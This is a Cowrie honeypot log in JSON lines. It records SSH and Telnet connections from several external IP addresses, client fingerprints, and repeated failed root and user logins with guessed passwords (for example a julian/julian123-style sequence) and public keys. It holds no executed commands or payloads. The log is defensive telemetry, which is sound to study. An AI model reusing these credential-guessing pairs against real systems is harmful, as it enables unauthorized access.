{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33840,"dst_ip":"10.17.0.5","dst_port":23,"session":"663a695e4cd9","protocol":"telnet","message":"New connection: 152.42.224.71:33840 (10.17.0.5:23) [session: 663a695e4cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:58.952432Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"59fc25b2ca1b","protocol":"telnet","message":"New connection: 152.42.224.71:33850 (10.17.0.5:23) [session: 59fc25b2ca1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:02:59.544940Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33854,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a941d997d8","protocol":"telnet","message":"New connection: 152.42.224.71:33854 (10.17.0.5:23) [session: f5a941d997d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:03.480642Z"}
{"eventid":"cowrie.session.closed","duration":30.8516902923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:11.098359Z","src_ip":"152.42.224.71","session":"3689aeb2d00d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.39069843292236,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:15.127819Z","src_ip":"152.42.224.71","session":"6503f4937769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.10458326339722,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:18.181965Z","src_ip":"152.42.224.71","session":"e026473767bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60002,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b64c4c3627a","protocol":"telnet","message":"New connection: 152.42.224.71:60002 (10.17.0.5:23) [session: 0b64c4c3627a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:20.094022Z"}
{"eventid":"cowrie.session.closed","duration":51.72597360610962,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:20.193917Z","src_ip":"152.42.224.71","session":"11d28f4fc76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":51302,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce578510a723","protocol":"ssh","message":"New connection: 182.93.50.90:51302 (10.17.0.5:22) [session: ce578510a723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:20.744620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:20.749956Z","src_ip":"182.93.50.90","session":"ce578510a723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:20.970960Z","src_ip":"182.93.50.90","session":"ce578510a723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZXSW@","message":"login attempt [root/!QAZXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:21.880952Z","src_ip":"182.93.50.90","session":"ce578510a723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:23.104410Z","src_ip":"182.93.50.90","session":"ce578510a723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":37052,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f876e539bfb","protocol":"ssh","message":"New connection: 81.9.145.130:37052 (10.17.0.5:22) [session: 7f876e539bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:24.245656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:24.253827Z","src_ip":"81.9.145.130","session":"7f876e539bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:24.367758Z","src_ip":"81.9.145.130","session":"7f876e539bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"icinga","message":"login attempt [root/icinga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:24.852301Z","src_ip":"81.9.145.130","session":"7f876e539bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60010,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a5214384f3","protocol":"telnet","message":"New connection: 152.42.224.71:60010 (10.17.0.5:23) [session: c0a5214384f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:25.255910Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:25.967769Z","src_ip":"81.9.145.130","session":"7f876e539bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.496268033981323,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:25.976772Z","src_ip":"152.42.224.71","session":"f5a941d997d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":41821,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f73d2f0f63","protocol":"ssh","message":"New connection: 213.209.159.56:41821 (159.203.135.109:22) [session: 15f73d2f0f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:27.249810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:27.255683Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:27.338992Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian","message":"login attempt [julian/julian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:27.739683Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50526,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b9041eca45a","protocol":"telnet","message":"New connection: 152.42.224.71:50526 (10.17.0.5:23) [session: 8b9041eca45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:28.785856Z"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian1","message":"login attempt [julian/julian1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:28.825040Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian123","message":"login attempt [julian/julian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:29.910928Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.51819467544556,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:30.010491Z","src_ip":"152.42.224.71","session":"bb3e7acd2d17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian1234","message":"login attempt [julian/julian1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:30.995863Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"julian","password":"julian12345","message":"login attempt [julian/julian12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:32.081214Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50528,"dst_ip":"10.17.0.5","dst_port":23,"session":"02bd49b814a6","protocol":"telnet","message":"New connection: 152.42.224.71:50528 (10.17.0.5:23) [session: 02bd49b814a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:32.702934Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:33.166300Z","src_ip":"213.209.159.56","session":"15f73d2f0f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.198","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3beb59a8cd","protocol":"ssh","message":"New connection: 185.255.100.198:58936 (10.17.0.5:22) [session: 0e3beb59a8cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.743735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.752253Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.760225Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:0d:13:17:9b:1f:51:91:33:55:62:6c:c3:a3:21:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzOxGSFf3JS2Tt9574n1HIwc/2rSPxaW7jqIunAwbn9AUaW7EodO68Le1ui7ikbu891f7fvtFZAWkdIU4ueEJGToW8SrqtZN1oeQ/gtCDccnxu7FDaMe5kd3Ji54kGzPDpeWgK9vdgrWZfJevkphAG7uYy35EGUe32u7T+pkKjBu/0wFMRlP11HdY1w6+/m1e01Xj2hs/fvQUCqkIOBEjF7zx2sTi0FwCQGdlqfAwq6ymSHP/Tosf/QzlsP8RMlxAAonrxRNOgSI/4uNpmQ31/DaUhKhaXb+Hlpr0K209mRJ9XqtBCyFGpZBwgeQCExbo1xDo8IIB3M/9fsddi5Jl4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:0d:13:17:9b:1f:51:91:33:55:62:6c:c3:a3:21:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.777982Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:0d:13:17:9b:1f:51:91:33:55:62:6c:c3:a3:21:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzOxGSFf3JS2Tt9574n1HIwc/2rSPxaW7jqIunAwbn9AUaW7EodO68Le1ui7ikbu891f7fvtFZAWkdIU4ueEJGToW8SrqtZN1oeQ/gtCDccnxu7FDaMe5kd3Ji54kGzPDpeWgK9vdgrWZfJevkphAG7uYy35EGUe32u7T+pkKjBu/0wFMRlP11HdY1w6+/m1e01Xj2hs/fvQUCqkIOBEjF7zx2sTi0FwCQGdlqfAwq6ymSHP/Tosf/QzlsP8RMlxAAonrxRNOgSI/4uNpmQ31/DaUhKhaXb+Hlpr0K209mRJ9XqtBCyFGpZBwgeQCExbo1xDo8IIB3M/9fsddi5Jl4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.782132Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:41:20:99:95:77:a2:33:5e:38:0e:d6:7f:5d:68:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRy8U3mxRwBzhSdYTmpgm9XmX8JE9VTTEnTQYf9USJ7ePfPNG7588jqrUHabklPq1Frl60ocnnKQxL8rfp5zCafskjZUWBVv7DX8k2nul2AgDjXHHAe05m/kkE2h32d+jz+v2vDl/KKjfHDDRqH23FWLySCrTRifrmlwcKi6BZNYLLrbqUiYxFdNTuSDhXfNu3QAoC1CC0m/XRcJQuU+5a1xwW/foC68CcQ8XIre/dwQ+CaIyDJ7kaa/BtXuW8jOH5wpVeTbCsFJGjvcWjIJ7WuZjsWpoLYEz1eyPj1K2vKAJDiOhEuP0cpa34Zw34oTnpLBzSY9I3vjtT8selvWQN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:41:20:99:95:77:a2:33:5e:38:0e:d6:7f:5d:68:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.791178Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:41:20:99:95:77:a2:33:5e:38:0e:d6:7f:5d:68:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRy8U3mxRwBzhSdYTmpgm9XmX8JE9VTTEnTQYf9USJ7ePfPNG7588jqrUHabklPq1Frl60ocnnKQxL8rfp5zCafskjZUWBVv7DX8k2nul2AgDjXHHAe05m/kkE2h32d+jz+v2vDl/KKjfHDDRqH23FWLySCrTRifrmlwcKi6BZNYLLrbqUiYxFdNTuSDhXfNu3QAoC1CC0m/XRcJQuU+5a1xwW/foC68CcQ8XIre/dwQ+CaIyDJ7kaa/BtXuW8jOH5wpVeTbCsFJGjvcWjIJ7WuZjsWpoLYEz1eyPj1K2vKAJDiOhEuP0cpa34Zw34oTnpLBzSY9I3vjtT8selvWQN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.795300Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:3c:10:9d:0b:cc:91:58:da:06:63:a0:a1:ee:2a:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCys31j8UND3Ba26D34PeUVFtdVOt2VaS0Mv3GUn8f2VumB8Oj0UGr1QSkrrzgMQb4bJ6ccdEk84Aa4qfdVKZO3L9XEsI+eN8Ez7E9Es/16IS1zzrE1lnDSVN2pJEkecafaE199Lzg7KD3SBrXwRdAuWMco7mhqsDcjoxHmnp2yNuZsJ8S/KzSWdolZlsQjqbE+LDcq2S/xvALKeorieTSeKq7/a6Y9vaSk7R2p3/QXSG5yrwM/syIce52UqBs9ToBaBenxOsIvBOwtC7CyVBqdG8zpUXHLWckuUYbb9Jk4En3xvywsAHVMAxyr7UkQQWMSiIX/XZLPYr6OVntkAEZ1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:3c:10:9d:0b:cc:91:58:da:06:63:a0:a1:ee:2a:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.803773Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:3c:10:9d:0b:cc:91:58:da:06:63:a0:a1:ee:2a:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCys31j8UND3Ba26D34PeUVFtdVOt2VaS0Mv3GUn8f2VumB8Oj0UGr1QSkrrzgMQb4bJ6ccdEk84Aa4qfdVKZO3L9XEsI+eN8Ez7E9Es/16IS1zzrE1lnDSVN2pJEkecafaE199Lzg7KD3SBrXwRdAuWMco7mhqsDcjoxHmnp2yNuZsJ8S/KzSWdolZlsQjqbE+LDcq2S/xvALKeorieTSeKq7/a6Y9vaSk7R2p3/QXSG5yrwM/syIce52UqBs9ToBaBenxOsIvBOwtC7CyVBqdG8zpUXHLWckuUYbb9Jk4En3xvywsAHVMAxyr7UkQQWMSiIX/XZLPYr6OVntkAEZ1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.808945Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:f7:0c:36:6e:7c:64:72:09:24:78:18:e7:14:f9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiPRtqqa1SlG3JKTnrhMMBvq5UxzangHU9YUstRZINvPY6oA9y07oHa6cGHHE5cC0LkDdp5u6BPoINAGv6IvMQGlNngBfLF2ZUcqQhtnY+ULY5FqL4Hs0nTsZtqIZSxl8KZKxvtR9ms/rHqj04U2PiF62MYj7fBjW7ajyaeHebtYYfbIDIjwpUTKXOvu31KVdUjUKHbcUbW9zOPItkBCTBgEE8kbMTkSOIKkjBxmwA1G3D7losycWSGLnyxPQmmarbnBS/btMA02evMd1zBQozrzbyrUeT3/3dzpSDIs0jrX77Dh9S9eymP3C9d9/mgFaQ979k73u9uwLozsPI2Tkh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:f7:0c:36:6e:7c:64:72:09:24:78:18:e7:14:f9:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.817215Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:f7:0c:36:6e:7c:64:72:09:24:78:18:e7:14:f9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiPRtqqa1SlG3JKTnrhMMBvq5UxzangHU9YUstRZINvPY6oA9y07oHa6cGHHE5cC0LkDdp5u6BPoINAGv6IvMQGlNngBfLF2ZUcqQhtnY+ULY5FqL4Hs0nTsZtqIZSxl8KZKxvtR9ms/rHqj04U2PiF62MYj7fBjW7ajyaeHebtYYfbIDIjwpUTKXOvu31KVdUjUKHbcUbW9zOPItkBCTBgEE8kbMTkSOIKkjBxmwA1G3D7losycWSGLnyxPQmmarbnBS/btMA02evMd1zBQozrzbyrUeT3/3dzpSDIs0jrX77Dh9S9eymP3C9d9/mgFaQ979k73u9uwLozsPI2Tkh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:03:34.820862Z","src_ip":"185.255.100.198","session":"0e3beb59a8cd","protocol":"ssh"}
